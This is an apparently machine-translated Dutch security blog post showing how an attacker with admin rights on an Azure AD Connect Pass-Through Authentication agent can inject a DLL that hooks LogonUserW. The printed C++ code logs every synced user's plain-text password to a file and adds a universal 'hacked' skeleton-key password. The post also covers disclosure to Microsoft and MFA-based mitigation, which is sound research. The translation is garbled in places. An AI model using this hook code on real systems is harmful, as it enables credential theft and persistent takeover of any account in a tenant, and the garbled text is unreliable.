Azure Skeleton Key: gebruik maken van Doorgangsauth om referenties

te stelen bewerken: beveiligingsonderzoeker Adam Chester had eerder geschreven over Azure AD Connect voor Red Teamers, waarbij hij sprak over het aansluiten van de authenticatiefunctie. Bekijk zijn geweldige schrijf-up hier.

samenvatting

als een aanvaller de Azure agent–server van een organisatie in gevaar brengt-een component die nodig is om Azure AD te synchroniseren met on–prem AD-kunnen ze een achterdeur maken die hen in staat stelt in te loggen als elke gesynchroniseerde gebruiker. We creëerden een proof-of-concept dat de Azure authenticatie functie manipuleert naar 1.) geef ons een’ skeleton key ‘ wachtwoord dat zal werken voor alle gebruikers, en 2.) dump alle echte clear-text gebruikersnamen en wachtwoorden in een bestand.

Pass-Through Authentication met Azure AD-Connect

Azure AD-Connect verbindt een Azure AD-omgeving met een on-premises domein en biedt verschillende verificatiemethoden:

  • wachtwoord Hash synchronisatie – een methode die de lokale on-prem hashes synchroniseert met de cloud.
  • Pass-Through Authentication – een methode die een “Azure agent” installeert op-prem die gesynchroniseerde gebruikers verifieert vanuit de cloud.
  • Federatie – een methode die steunt op een AD FS-infrastructuur.

onze aanval methode maakt gebruik van de Azure agent gebruikt voor Pass-Through authenticatie. De on-prem-agent verzamelt en verifieert referenties die door Azure AD zijn ontvangen voor accounts die worden gesynchroniseerd met on-prem-domeinen.

de Authenticatiestroom

Azure Pass-Through Authenticatiestroom

  1. de gebruiker voert zijn gebruikersnaam en wachtwoord in in Azure AD/O365.
  2. Azure AD versleutelt de referenties met behulp van een openbare sleutel en plaatst ze in de agentwachtrij – een permanente verbinding die door de on-prem-agent wordt gemaakt. De agent verzamelt vervolgens de referenties en decodeert ze met zijn persoonlijke sleutel.
  3. de agent verifieert vervolgens de gebruiker bij de On-Prem DC met behulp van de API-functie LogonUserW.
  4. de DC valideert de referenties en geeft een antwoord terug.
  5. het antwoord van de on-prem DC wordt teruggestuurd naar de Azure AD.
  6. als de aanmelding van de Gebruiker succesvol is, wordt de gebruiker aangemeld.

misbruik maken van de Agent

om de agent te exploiteren, hebben we het volgende nodig:

  • Azure AD Connect is geconfigureerd voor Pass-Through-verificatie.
  • beheerdersrechten op een server waarop een Azure-Agent is geïnstalleerd.

na het compromitteren van een server die een Azure agent draait, kunnen we knoeien met de authenticatie stroom. Het proces dat verantwoordelijk is voor het verifiëren van de referenties wordt gemakshalve AzureADConnectAuthenticationAgentservice genoemd.exe en het vertrouwt op de API-functie LogonUserW. Microsoft ’s documentatie Staten,” de authenticatie Agent probeert de gebruikersnaam en het wachtwoord te valideren tegen On-premises Active Directory met behulp van de Win32 LogonUser API met de dwlogontype parameter ingesteld op LOGON32_LOGON_NETWORK.

als we de API-oproep hooken met behulp van APIMonitor (een tool die elke Windows-API-oproep kan hooken, ervan uitgaande dat je beheerdersrechten hebt), kunnen we beginnen met het zoeken naar interessante dingen in het authenticatieproces:

API Monitor

de gebruiker ” noob “geverifieerd met het wachtwoord”mypassword”.

Azuurstof in gevaar (Ralph Wiggum meme)

het maken van een API Monitor

nu we weten hoe we wachtwoorden moeten benaderen, laten we eens kijken of we het proces kunnen automatiseren.

het plan is om een DLL te injecteren in de service van Azureadconnectauticationagent.exe en herschrijf de pointer naar de functie LogonUserW met onze eigen functie.

met EasyHook hebben we een DLL geschreven die de LogonUserW functie Hookt en vervangt door een nieuwe LogonUserW:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\shhhh.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword);myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken);}

merk op dat de functie hetzelfde aantal parameters vereist als LogonUserW. Wanneer de functie wordt aangeroepen, creëert het het dossier ” shhhh.txt ” en schrijft de gebruikersnaam en wachtwoord variabelen om het. De functie retourneert het resultaat van de echte LogonUserW aanroep met de aanvankelijk geleverde parameters.

het inspuiten van de DLL

dankzij Injectalthethings en de reflecterende DLL-module, laadden we onze DLL in het proces en kregen de volgende resultaten:

Wis-tekst wachtwoorden

elke gesynchroniseerde gebruiker die verbinding maakt met Azure AD (bijvoorbeeld Office 365) zal hun wachtwoord toevoegen aan ons tekstbestand.

La Cerise Sur le Gâteau

onze wachtwoordverzamelaar heeft slechts een beetje “Ik weet niet wat” nodig om een Azure Skeleton Key te worden, waardoor een aanvaller zich kan authenticeren (met één factor) als elke gebruiker, met behulp van een vooraf bepaald wachtwoord.

voor onze skeleton key wijzigen we de retourwaarde in de functie LogonUserW, zodat wanneer we het wachtwoord ‘gehackt’ invoeren we succesvol inloggen, ongeacht het echte wachtwoord van de gebruiker. LogonUserW is een Booleaanse functie die een pointer naar het token van een gebruiker ontvangt, deze vult met een user token en waar retourneert als het succesvol is.

een beetje testen blijkt dat het terugkeren van een nep token of geen token veroorzaakt het proces te crashen, dus het programma vereist een geldig token.

waar kunnen we een gebruikerstoken krijgen om door te geven aan de functie zonder er een te genereren?

nou, aangezien we al in de AzureADConnectAuthenticationAgentservice zitten.exe proces, kunnen we lenen de gebruiker token!

nieuwe versie:

BOOL myLogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken){ //Write to file ofstream myfile; myfile.open("c:\temp\beep.txt", std::ios_base::app); string user = utf8_encode(lpszUsername); string pass = utf8_encode(lpszPassword); //get time std::time_t result = std::time(nullptr); myfile << " "; myfile << std::asctime(std::localtime(&result)); myfile << "Username: "; myfile << user << "\n"; myfile << "Password: "; myfile << pass << "\n\n"; myfile.close(); string hacked = "hacked"; if(hacked.compare(pass)) { // Log the user in return LogonUserW(lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken); } else { // Use Skeleton Key, return true OpenProcessToken(GetCurrentProcess(), TOKEN_READ, phToken); return true; }}

door het aanroepen van OpenProcessToken vullen we de phtoken variabele met het proces eigen token.

werkt als een charme!

hoewel elke gebruiker nog steeds verbinding kan maken met zijn eigen wachtwoord, kunnen we met succes authenticeren als elke gebruiker met behulp van het wachtwoord “hacked”.

hier ga je …

op dit moment heeft de aanvaller volledige en volledige controle over de huurder en kan hij inloggen als elke gebruiker, inclusief het Global Admin account. Dit is het eindspel.

Final Thoughts

het installeren van een skeletsleutel op een Azure agent kan nuttig zijn voor:

  • escaleren van uw privileges naar Global Administrator (waarmee u op zijn beurt de Azure tenant kunt beheren)
  • toegang krijgen tot de on-prem-omgeving van de organisatie door een domeinbeheerwachtwoord te resetten (ervan uitgaande dat het terugschrijven van een wachtwoord is ingeschakeld)
  • volharding in een organisatie behouden
  • het verzamelen van leesbare wachtwoorden

Microsoft Security Response Center ‘ s reactie op ons rapport doet ons geloven dat een patch niet worden gecreëerd:

dit rapport lijkt geen zwakke plek in een Microsoft-product of-dienst te identificeren die een aanvaller in staat zou stellen de integriteit, beschikbaarheid of vertrouwelijkheid van een Microsoft-aanbod in gevaar te brengen. Voor dit probleem, de aanvaller moet de machine eerst compromitteren voordat ze de Dienst kunnen overnemen.

hoewel ik niet bekend ben met de interne werking van Azure ‘ s Pass-Through authenticatie, kan ik een paar oplossingen voorstellen die deze kwetsbaarheid kunnen helpen verminderen. Het is bijvoorbeeld mogelijk om de versleutelde referenties van de agent door te sturen naar een gecentraliseerde agent, die zich op de DC bevindt (meestal een goed beveiligde server). Die DC-agent zou de referenties controleren en antwoorden met een versleutelde reactie die alleen kan worden geopend door de Azure Cloud service. Een aanvaller die volledige controle over een DC heeft opgedaan, heeft al gewonnen, alle daaruit voortvloeiende exploits worden overschaduwd door dat feit.

een van onze klanten had hier ook een interessante kijk op:

de Skeletsleutel kan een probleem zijn in omgevingen die een gebruiker toestaan om in te loggen op Azure/O365 accounts zonder MFA, maar de mogelijkheid voor de Agent om elk aanmeldings-id en wachtwoord in platte tekst vast te leggen als Azure authenticeert met de lokale DC is een grote zorg. Dit zou de aanvaller met massa ‘ s van geldige gebruikersaccounts die kunnen worden gebruikt om in te loggen op on-prem bronnen Als verschillende gebruikers. Plotseling heeft de serverbeheerder die geen toegang had tot de databases, andere apparaten en bronnen nu genoeg gebruikersaccounts tot zijn beschikking om overal doorheen te reizen en toegang te krijgen tot databases die ze voorheen niet hadden. Ja, je zou kunnen zeggen dat het grijpen van de advertentie .dit bestand zou dit ook doen, maar die wachtwoorden zijn nog steeds gehasht, je zou extra tijd nodig om ofwel kraken de hashes offline, of, gebruik maken van een pass de hash type aanval (waarvan veel zou worden gedetecteerd). Deze nieuwe methode lijkt veel gemakkelijker voor een bedreiging actor te gebruiken en moeilijker voor een IR-team te detecteren.

preventie

bevoorrechte aanvallers kunnen deze exploit gebruiken om een achterdeur te installeren of wachtwoorden te verzamelen. Traditionele log analyse kan dit niet detecteren als de aanvaller weet hoe hij zijn sporen moet wissen.

het gebruik van MFA voorkomt dat aanvallers verbinding maken met uw Azure cloud met een vals wachtwoord, hoewel deze aanval kan worden gebruikt om wachtwoorden te verzamelen in MFA-omgevingen.

Geef een antwoord

Het e-mailadres wordt niet gepubliceerd.